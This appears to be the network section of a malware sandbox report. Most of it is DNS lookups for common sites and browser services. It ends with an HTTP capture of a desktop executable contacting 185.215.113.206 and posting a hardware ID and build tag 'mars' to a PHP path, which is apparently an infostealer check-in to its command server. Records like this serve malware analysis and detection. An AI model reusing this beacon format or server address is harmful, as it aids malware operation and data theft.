Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.437062025 CET	1.1.1.1	192.168.2.4	0x3b29	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.445954084 CET	1.1.1.1	192.168.2.4	0xfd6d	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.583667994 CET	1.1.1.1	192.168.2.4	0xe07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 02:15:59.583667994 CET	1.1.1.1	192.168.2.4	0xe07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 02:15:59.583667994 CET	1.1.1.1	192.168.2.4	0xe07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 02:15:59.583667994 CET	1.1.1.1	192.168.2.4	0xe07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 24, 2024 02:15:59.593080997 CET	1.1.1.1	192.168.2.4	0x7e6b	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 24, 2024 02:15:59.723109007 CET	1.1.1.1	192.168.2.4	0x59f1	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:59.723109007 CET	1.1.1.1	192.168.2.4	0x59f1	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.723109007 CET	1.1.1.1	192.168.2.4	0x59f1	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.723109007 CET	1.1.1.1	192.168.2.4	0x59f1	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.723109007 CET	1.1.1.1	192.168.2.4	0x59f1	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.732412100 CET	1.1.1.1	192.168.2.4	0x5c4a	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.732412100 CET	1.1.1.1	192.168.2.4	0x5c4a	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.732412100 CET	1.1.1.1	192.168.2.4	0x5c4a	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.732412100 CET	1.1.1.1	192.168.2.4	0x5c4a	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.765463114 CET	1.1.1.1	192.168.2.4	0x2e66	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.789058924 CET	1.1.1.1	192.168.2.4	0x18e	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:15:59.789058924 CET	1.1.1.1	192.168.2.4	0x18e	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.882281065 CET	1.1.1.1	192.168.2.4	0x2b23	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.882281065 CET	1.1.1.1	192.168.2.4	0x2b23	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.882281065 CET	1.1.1.1	192.168.2.4	0x2b23	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.882281065 CET	1.1.1.1	192.168.2.4	0x2b23	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.985438108 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.985438108 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.985438108 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:15:59.985438108 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.067399979 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.067399979 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.067399979 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.067399979 CET	1.1.1.1	192.168.2.4	0xbb1d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.103153944 CET	1.1.1.1	192.168.2.4	0x65a3	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.126085043 CET	1.1.1.1	192.168.2.4	0x65a3	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:00.303742886 CET	1.1.1.1	192.168.2.4	0xe11d	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 24, 2024 02:16:00.425983906 CET	1.1.1.1	192.168.2.4	0xe11d	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 24, 2024 02:16:03.428935051 CET	1.1.1.1	192.168.2.4	0xa5ba	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:03.428935051 CET	1.1.1.1	192.168.2.4	0xa5ba	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:03.428935051 CET	1.1.1.1	192.168.2.4	0xa5ba	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:03.567204952 CET	1.1.1.1	192.168.2.4	0x3fea	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:08.878411055 CET	1.1.1.1	192.168.2.4	0xb185	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:08.879513979 CET	1.1.1.1	192.168.2.4	0x91b4	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 02:16:12.830487967 CET	1.1.1.1	192.168.2.4	0x91a2	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:12.927593946 CET	1.1.1.1	192.168.2.4	0xa847	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:12.927593946 CET	1.1.1.1	192.168.2.4	0xa847	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:12.987458944 CET	1.1.1.1	192.168.2.4	0x73e2	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:12.987458944 CET	1.1.1.1	192.168.2.4	0x73e2	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:12.987458944 CET	1.1.1.1	192.168.2.4	0x73e2	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:13.030174017 CET	1.1.1.1	192.168.2.4	0xa9a0	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:13.030174017 CET	1.1.1.1	192.168.2.4	0xa9a0	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:13.030174017 CET	1.1.1.1	192.168.2.4	0xa9a0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:13.030174017 CET	1.1.1.1	192.168.2.4	0xa9a0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:21.803919077 CET	1.1.1.1	192.168.2.4	0x8115	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.822740078 CET	1.1.1.1	192.168.2.4	0x59c	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:26.822740078 CET	1.1.1.1	192.168.2.4	0x59c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.920048952 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.920048952 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.920048952 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:26.920048952 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.024347067 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.024347067 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.024347067 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.024347067 CET	1.1.1.1	192.168.2.4	0x9a27	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.059067011 CET	1.1.1.1	192.168.2.4	0x5158	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.059067011 CET	1.1.1.1	192.168.2.4	0x5158	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.059067011 CET	1.1.1.1	192.168.2.4	0x5158	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.059067011 CET	1.1.1.1	192.168.2.4	0x5158	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.076669931 CET	1.1.1.1	192.168.2.4	0x4285	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:27.076669931 CET	1.1.1.1	192.168.2.4	0x4285	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.076694012 CET	1.1.1.1	192.168.2.4	0x4285	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:27.076694012 CET	1.1.1.1	192.168.2.4	0x4285	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:27.198405027 CET	1.1.1.1	192.168.2.4	0x8fa9	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 02:16:27.198405027 CET	1.1.1.1	192.168.2.4	0x8fa9	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 02:16:27.198405027 CET	1.1.1.1	192.168.2.4	0x8fa9	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 02:16:27.198405027 CET	1.1.1.1	192.168.2.4	0x8fa9	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 02:16:27.215430975 CET	1.1.1.1	192.168.2.4	0x80bf	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:29.734401941 CET	1.1.1.1	192.168.2.4	0xb2d1	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:29.734401941 CET	1.1.1.1	192.168.2.4	0xb2d1	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:29.816971064 CET	1.1.1.1	192.168.2.4	0xb2d1	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:29.816971064 CET	1.1.1.1	192.168.2.4	0xb2d1	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:37.702533007 CET	1.1.1.1	192.168.2.4	0xfadd	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:38.930566072 CET	1.1.1.1	192.168.2.4	0xaec3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:38.930566072 CET	1.1.1.1	192.168.2.4	0xaec3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:50.647877932 CET	1.1.1.1	192.168.2.4	0xbc27	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:50.754220009 CET	1.1.1.1	192.168.2.4	0xdd15	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:52.162476063 CET	1.1.1.1	192.168.2.4	0x63cc	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:52.162476063 CET	1.1.1.1	192.168.2.4	0x63cc	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:16:52.281594038 CET	1.1.1.1	192.168.2.4	0x63cc	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:16:52.281594038 CET	1.1.1.1	192.168.2.4	0x63cc	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:17.888562918 CET	1.1.1.1	192.168.2.4	0x9ab2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:17.888562918 CET	1.1.1.1	192.168.2.4	0x9ab2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:18.936157942 CET	1.1.1.1	192.168.2.4	0xc85a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:37.509243011 CET	1.1.1.1	192.168.2.4	0xd841	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:44.309215069 CET	1.1.1.1	192.168.2.4	0x35c8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.410496950 CET	1.1.1.1	192.168.2.4	0xad33	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.410496950 CET	1.1.1.1	192.168.2.4	0xad33	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.435121059 CET	1.1.1.1	192.168.2.4	0x510b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.435121059 CET	1.1.1.1	192.168.2.4	0x510b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.435121059 CET	1.1.1.1	192.168.2.4	0x510b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:17:44.499397039 CET	1.1.1.1	192.168.2.4	0xfc3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.499397039 CET	1.1.1.1	192.168.2.4	0xfc3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.499397039 CET	1.1.1.1	192.168.2.4	0xfc3	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:17:44.499397039 CET	1.1.1.1	192.168.2.4	0xfc3	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:00.577862024 CET	1.1.1.1	192.168.2.4	0x27e2	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:00.671643972 CET	1.1.1.1	192.168.2.4	0x1103	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:03.089987993 CET	1.1.1.1	192.168.2.4	0x8efb	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:03.185736895 CET	1.1.1.1	192.168.2.4	0xe31d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:33.980036020 CET	1.1.1.1	192.168.2.4	0x5db2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:34.062805891 CET	1.1.1.1	192.168.2.4	0xd1b7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:40.472119093 CET	1.1.1.1	192.168.2.4	0xfd6	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:40.615817070 CET	1.1.1.1	192.168.2.4	0x8a1c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:42.021214962 CET	1.1.1.1	192.168.2.4	0xc609	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:42.021214962 CET	1.1.1.1	192.168.2.4	0xc609	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:54.126334906 CET	1.1.1.1	192.168.2.4	0x6158	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:18:54.126334906 CET	1.1.1.1	192.168.2.4	0x6158	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:18:58.051736116 CET	1.1.1.1	192.168.2.4	0x8e23	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:19:36.160727978 CET	1.1.1.1	192.168.2.4	0xdbca	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:19:36.239237070 CET	1.1.1.1	192.168.2.4	0xdbca	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:20:00.594118118 CET	1.1.1.1	192.168.2.4	0xb216	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:00.701621056 CET	1.1.1.1	192.168.2.4	0xb067	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:10.119159937 CET	1.1.1.1	192.168.2.4	0x8132	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:20:30.360748053 CET	1.1.1.1	192.168.2.4	0xbaca	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:30.447462082 CET	1.1.1.1	192.168.2.4	0x808e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:36.249114037 CET	1.1.1.1	192.168.2.4	0xc1a2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:36.249155998 CET	1.1.1.1	192.168.2.4	0x8eb0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:57.965303898 CET	1.1.1.1	192.168.2.4	0xfbd9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:20:59.517462969 CET	1.1.1.1	192.168.2.4	0xb1b2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:59.517462969 CET	1.1.1.1	192.168.2.4	0xb1b2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:20:59.517508030 CET	1.1.1.1	192.168.2.4	0xb1b2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:20:59.517508030 CET	1.1.1.1	192.168.2.4	0xb1b2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:21:22.046705961 CET	1.1.1.1	192.168.2.4	0xa7f2	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:21:22.185676098 CET	1.1.1.1	192.168.2.4	0x9a5a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:21:48.604301929 CET	1.1.1.1	192.168.2.4	0xebb8	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:22:00.616442919 CET	1.1.1.1	192.168.2.4	0x9270	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:22:00.705182076 CET	1.1.1.1	192.168.2.4	0xae2d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:22:04.808172941 CET	1.1.1.1	192.168.2.4	0xc346	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:22:06.235656977 CET	1.1.1.1	192.168.2.4	0xaf68	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 02:22:06.235656977 CET	1.1.1.1	192.168.2.4	0xaf68	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:22:06.626938105 CET	1.1.1.1	192.168.2.4	0x4440	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	6924	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:13:01.529920101 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 02:13:02.868947983 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:02.871146917 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="build"mars------BAAAKJDAAFBAAKEBAAKF--
